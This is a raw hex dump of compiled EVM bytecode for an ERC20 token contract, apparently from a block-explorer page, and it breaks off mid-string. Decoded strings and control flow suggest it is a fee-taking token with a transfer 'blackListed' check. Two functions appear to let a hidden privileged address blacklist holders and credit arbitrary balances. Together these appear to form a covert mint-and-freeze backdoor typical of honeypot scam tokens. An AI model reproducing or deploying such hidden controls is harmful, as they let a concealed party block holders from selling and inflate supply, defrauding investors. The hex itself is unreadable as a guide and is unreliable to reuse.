fffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b60008082846116a1919061269e565b9050838110156116b057600080fd5b8091505092915050565b6000611745826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c89092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117da82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187a91906125b9565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118c5576118c46129cc565b5b6040519080825280602002602001820160405280156118f35781602001602082028036833780820191505090505b509050308160008151811061190b5761190a61299d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119ad57600080fd5b505afa1580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e5919061205f565b816001815181106119f9576119f861299d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a6030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ac49594939291906125d4565b600060405180830381600087803b158015611ade57600080fd5b505af1925050508015611aef575060015b611af857611af9565b5b60004790506000811115611b7157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b6f573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611bd383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c8565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c6357611c5c6064611c4e600c5486611e6090919063ffffffff16565b611edb90919063ffffffff16565b9050611ce1565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce057611cdd6064611ccf600d5486611e6090919063ffffffff16565b611edb90919063ffffffff16565b90505b5b6000811115611de557611d3c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ddc91906125b9565b60405180910390a35b611df88184611b9190919063ffffffff16565b9150509392505050565b6000808284611e11919061269e565b905083811015611e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4d906124f9565b60405180910390fd5b8091505092915050565b600080831415611e735760009050611ed5565b60008284611e819190612725565b9050828482611e9091906126f4565b14611ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec790612519565b60405180910390fd5b809150505b92915050565b6000611f1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f25565b905092915050565b60008083118290611f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f639190612497565b60405180910390fd5b5060008385611f7b91906126f4565b9050809150509392505050565b600081359050611f9781612c2b565b92915050565b600081519050611fac81612c2b565b92915050565b60008083601f840112611fc857611fc7612a00565b5b8235905067ffffffffffffffff811115611fe557611fe46129fb565b5b60208301915083602082028301111561200157612000612a05565b5b9250929050565b60008135905061201781612c42565b92915050565b60008135905061202c81612c59565b92915050565b60006020828403121561204857612047612a0f565b5b600061205684828501611f88565b91505092915050565b60006020828403121561207557612074612a0f565b5b600061208384828501611f9d565b91505092915050565b600080604083850312156120a3576120a2612a0f565b5b60006120b185828601611f88565b92505060206120c285828601611f88565b9150509250929050565b6000806000606084860312156120e5576120e4612a0f565b5b60006120f386828701611f88565b935050602061210486828701611f88565b92505060406121158682870161201d565b9150509250925092565b6000806040838503121561213657612135612a0f565b5b600061214485828601611f88565b92505060206121558582860161201d565b9150509250929050565b60008060006040848603121561217857612177612a0f565b5b600084013567ffffffffffffffff81111561219657612195612a0a565b5b6121a286828701611fb2565b935093505060206121b586828701612008565b9150509250925092565b6000602082840312156121d5576121d4612a0f565b5b60006121e38482850161201d565b91505092915050565b60006121f88383612213565b60208301905092915050565b61220d816127c5565b82525050565b61221c816127b3565b82525050565b61222b816127b3565b82525050565b600061223c82612659565b612246818561267c565b935061225183612649565b8060005b8381101561228257815161226988826121ec565b97506122748361266f565b925050600181019050612255565b5085935050505092915050565b612298816127d7565b82525050565b6122a78161281a565b82525050565b6122b68161282c565b82525050565b60006122c782612664565b6122d1818561268d565b93506122e1818560208601612862565b6122ea81612a14565b840191505092915050565b600061230260238361268d565b915061230d82612a25565b604082019050919050565b600061232560228361268d565b915061233082612a74565b604082019050919050565b6000612348601b8361268d565b915061235382612ac3565b602082019050919050565b600061236b60218361268d565b915061237682612aec565b604082019050919050565b600061238e60208361268d565b915061239982612b3b565b602082019050919050565b60006123b1600b8361268d565b91506123bc82612b64565b602082019050919050565b60006123d460258361268d565b91506123df82612b8d565b604082019050919050565b60006123f760248361268d565b915061240282612bdc565b604082019050919050565b61241681612803565b82525050565b6124258161280d565b82525050565b60006020820190506124406000830184612222565b92915050565b600060208201905061245b6000830184612204565b92915050565b6000602082019050612476600083018461228f565b92915050565b6000602082019050612491600083018461229e565b92915050565b600060208201905081810360008301526124b181846122bc565b905092915050565b600060208201905081810360008301526124d2816122f5565b9050919050565b600060208201905081810360008301526124f281612318565b9050919050565b600060208201905081810360008301526125128161233b565b9050919050565b600060208201905081810360008301526125328161235e565b9050919050565b6000602082019050818103600083015261255281612381565b9050919050565b60006020820190508181036000830152612572816123a4565b9050919050565b60006020820190508181036000830152612592816123c7565b9050919050565b600060208201905081810360008301526125b2816123ea565b9050919050565b60006020820190506125ce600083018461240d565b92915050565b600060a0820190506125e9600083018861240d565b6125f660208301876122ad565b81810360408301526126088186612231565b90506126176060830185612222565b612624608083018461240d565b9695505050505050565b6000602082019050612643600083018461241c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126a982612803565b91506126b483612803565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126e9576126e8612910565b5b828201905092915050565b60006126ff82612803565b915061270a83612803565b92508261271a5761271961293f565b5b828204905092915050565b600061273082612803565b915061273b83612803565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277457612773612910565b5b828202905092915050565b600061278a82612803565b915061279583612803565b9250828210156127a8576127a7612910565b5b828203905092915050565b60006127be826127e3565b9050919050565b60006127d0826127e3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128258261283e565b9050919050565b600061283782612803565b9050919050565b600061284982612850565b9050919050565b600061285b826127e3565b9050919050565b60005b83811015612880578082015181840152602081019050612865565b8381111561288f576000848401525b50505050565b600060028204905060018216806128ad57607f821691505b602082108114156128c1576128c061296e565b5b50919050565b60006128d282612803565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561290557612904612910565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c34816127b3565b8114612c3f57600080fd5b50565b612c4b816127d7565b8114612c5657600080fd5b50565b612c6281612803565b8114612c6d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cce5582d773088bd3fab412dbb1e65e1a45e08540aaec2c2b2a4ba55868432a364736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638b4cee08116100ec578063c816841b1161008a578063f0cd1dac11610064578063f0cd1dac14610659578063f2fde38b14610684578063f7260d3e146106ad578063fbae5268146106d8576101c2565b8063c816841b146105c6578063c8607952146105f1578063dd62ed3e1461061c576101c2565b806395d89b41116100c657806395d89b4114610508578063a08e671f14610533578063a9059cbb1461055e578063c5d241891461059b576101c2565b80638b4cee081461048b5780638da5cb5b146104b45780638f85a043146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806382eefb4314610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612497565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061211f565b610793565b6040516102269190612461565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906121bf565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a919061247c565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906125b9565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612032565b610889565b6040516102e29190612461565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190612032565b6108a9565b60405161031f9190612461565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906120cc565b6108c9565b60405161035c9190612461565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b604051610387919061242b565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061262e565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612032565b6109de565b6040516103ef9190612461565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a91906125b9565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612032565b610a04565b60405161045791906125b9565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b60405161048291906125b9565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906121bf565b610a53565b005b3480156104c057600080fd5b506104c9610afb565b6040516104d6919061242b565b60405180910390f35b3480156104eb57600080fd5b506105066004803603810190610501919061215f565b610b24565b005b34801561051457600080fd5b5061051d610bdf565b60405161052a9190612497565b60405180910390f35b34801561053f57600080fd5b50610548610c71565b60405161055591906125b9565b60405180910390f35b34801561056a57600080fd5b506105856004803603810190610580919061211f565b610c77565b6040516105929190612461565b60405180910390f35b3480156105a757600080fd5b506105b0610c96565b6040516105bd91906125b9565b60405180910390f35b3480156105d257600080fd5b506105db610c9c565b6040516105e8919061242b565b60405180910390f35b3480156105fd57600080fd5b50610606610cc2565b60405161061391906125b9565b60405180910390f35b34801561062857600080fd5b50610643600480360381019061063e919061208c565b610cc8565b60405161065091906125b9565b60405180910390f35b34801561066557600080fd5b5061066e610d4f565b60405161067b91906125b9565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612032565b610d55565b005b3480156106b957600080fd5b506106c2610ea7565b6040516106cf9190612446565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061211f565b610ecd565b005b60606001805461071090612895565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612895565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f85565b8484610f8d565b6001905092915050565b6107b9610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612539565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d6848484611158565b50610998846108e3610f85565b61099385604051806060016040528060288152602001612c7160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610949610f85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c89092919063ffffffff16565b610f8d565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610a5b610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90612539565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b31838390503361162c565b610b3a57600080fd5b60005b83839050811015610bd9578160086000868685818110610b6057610b5f61299d565b5b9050602002016020810190610b759190612032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd1906128c7565b915050610b3d565b50505050565b606060028054610bee90612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a90612895565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b600e5481565b6000610c8b610c84610f85565b8484611158565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610d5d610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190612539565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ed7813361162c565b610ee057600080fd5b610f3e81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2e919061269e565b600161169290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff490612599565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611064906124d9565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114b91906125b9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090612579565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611239576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611230906124b9565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612559565b60405180910390fd5b601160149054906101000a900460ff16156112ed576112e68484846116ba565b90506115c1565b60006112f830610a04565b9050601160149054906101000a900460ff161580156113615750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113705761136f8161188d565b5b6113c283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114a85750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114bc576114b7868686611bdb565b6114be565b835b905061151281600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b291906125b9565b60405180910390a36001925050505b9392505050565b6000838311158290611610576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116079190612497565b60405180910390fd5b506000838561161f919061277f565b9050809150509392505050565b6000808311801561168a5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b60008082846116a1919061269e565b9050838110156116b057600080fd5b8091505092915050565b6000611745826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c89092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117da82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187a91906125b9565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118c5576118c46129cc565b5b6040519080825280602002602001820160405280156118f35781602001602082028036833780820191505090505b509050308160008151811061190b5761190a61299d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119ad57600080fd5b505afa1580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e5919061205f565b816001815181106119f9576119f861299d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a6030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ac49594939291906125d4565b600060405180830381600087803b158015611ade57600080fd5b505af1925050508015611aef575060015b611af857611af9565b5b60004790506000811115611b7157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b6f573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611bd383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c8565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c6357611c5c6064611c4e600c5486611e6090919063ffffffff16565b611edb90919063ffffffff16565b9050611ce1565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce057611cdd6064611ccf600d5486611e6090919063ffffffff16565b611edb90919063ffffffff16565b90505b5b6000811115611de557611d3c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ddc91906125b9565b60405180910390a35b611df88184611b9190919063ffffffff16565b9150509392505050565b6000808284611e11919061269e565b905083811015611e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4d906124f9565b60405180910390fd5b8091505092915050565b600080831415611e735760009050611ed5565b60008284611e819190612725565b9050828482611e9091906126f4565b14611ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec790612519565b60405180910390fd5b809150505b92915050565b6000611f1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f25565b905092915050565b60008083118290611f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f639190612497565b60405180910390fd5b5060008385611f7b91906126f4565b9050809150509392505050565b600081359050611f9781612c2b565b92915050565b600081519050611fac81612c2b565b92915050565b60008083601f840112611fc857611fc7612a00565b5b8235905067ffffffffffffffff811115611fe557611fe46129fb565b5b60208301915083602082028301111561200157612000612a05565b5b9250929050565b60008135905061201781612c42565b92915050565b60008135905061202c81612c59565b92915050565b60006020828403121561204857612047612a0f565b5b600061205684828501611f88565b91505092915050565b60006020828403121561207557612074612a0f565b5b600061208384828501611f9d565b91505092915050565b600080604083850312156120a3576120a2612a0f565b5b60006120b185828601611f88565b92505060206120c285828601611f88565b9150509250929050565b6000806000606084860312156120e5576120e4612a0f565b5b60006120f386828701611f88565b935050602061210486828701611f88565b92505060406121158682870161201d565b9150509250925092565b6000806040838503121561213657612135612a0f565b5b600061214485828601611f88565b92505060206121558582860161201d565b9150509250929050565b60008060006040848603121561217857612177612a0f565b5b600084013567ffffffffffffffff81111561219657612195612a0a565b5b6121a286828701611fb2565b935093505060206121b586828701612008565b9150509250925092565b6000602082840312156121d5576121d4612a0f565b5b60006121e38482850161201d565b91505092915050565b60006121f88383612213565b60208301905092915050565b61220d816127c5565b82525050565b61221c816127b3565b82525050565b61222b816127b3565b82525050565b600061223c82612659565b612246818561267c565b935061225183612649565b8060005b8381101561228257815161226988826121ec565b97506122748361266f565b925050600181019050612255565b5085935050505092915050565b612298816127d7565b82525050565b6122a78161281a565b82525050565b6122b68161282c565b82525050565b60006122c782612664565b6122d1818561268d565b93506122e1818560208601612862565b6122ea81612a14565b840191505092915050565b600061230260238361268d565b915061230d82612a25565b604082019050919050565b600061232560228361268d565b915061233082612a74565b604082019050919050565b6000612348601b8361268d565b915061235382612ac3565b602082019050919050565b600061236b60218361268d565b915061237682612aec565b604082019050919050565b600061238e60208361268d565b915061239982612b3b565b602082019050919050565b60006123b1600b8361268d565b91506123bc82612b64565b602082019050919050565b60006123d460258361268d565b91506123df82612b8d565b604082019050919050565b60006123f760248361268d565b915061240282612bdc565b604082019050919050565b61241681612803565b82525050565b6124258161280d565b82525050565b60006020820190506124406000830184612222565b92915050565b600060208201905061245b6000830184612204565b92915050565b6000602082019050612476600083018461228f565b92915050565b6000602082019050612491600083018461229e565b92915050565b600060208201905081810360008301526124b181846122bc565b905092915050565b600060208201905081810360008301526124d2816122f5565b9050919050565b600060208201905081810360008301526124f281612318565b9050919050565b600060208201905081810360008301526125128161233b565b9050919050565b600060208201905081810360008301526125328161235e565b9050919050565b6000602082019050818103600083015261255281612381565b9050919050565b60006020820190508181036000830152612572816123a4565b9050919050565b60006020820190508181036000830152612592816123c7565b9050919050565b600060208201905081810360008301526125b2816123ea565b9050919050565b60006020820190506125ce600083018461240d565b92915050565b600060a0820190506125e9600083018861240d565b6125f660208301876122ad565b81810360408301526126088186612231565b90506126176060830185612222565b612624608083018461240d565b9695505050505050565b6000602082019050612643600083018461241c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126a982612803565b91506126b483612803565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126e9576126e8612910565b5b828201905092915050565b60006126ff82612803565b915061270a83612803565b92508261271a5761271961293f565b5b828204905092915050565b600061273082612803565b915061273b83612803565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277457612773612910565b5b828202905092915050565b600061278a82612803565b915061279583612803565b9250828210156127a8576127a7612910565b5b828203905092915050565b60006127be826127e3565b9050919050565b60006127d0826127e3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128258261283e565b9050919050565b600061283782612803565b9050919050565b600061284982612850565b9050919050565b600061285b826127e3565b9050919050565b60005b83811015612880578082015181840152602081019050612865565b8381111561288f576000848401525b50505050565b600060028204905060018216806128ad57607f821691505b602082108114156128c1576128c061296e565b5b50919050565b60006128d282612803565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561290557612904612910565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2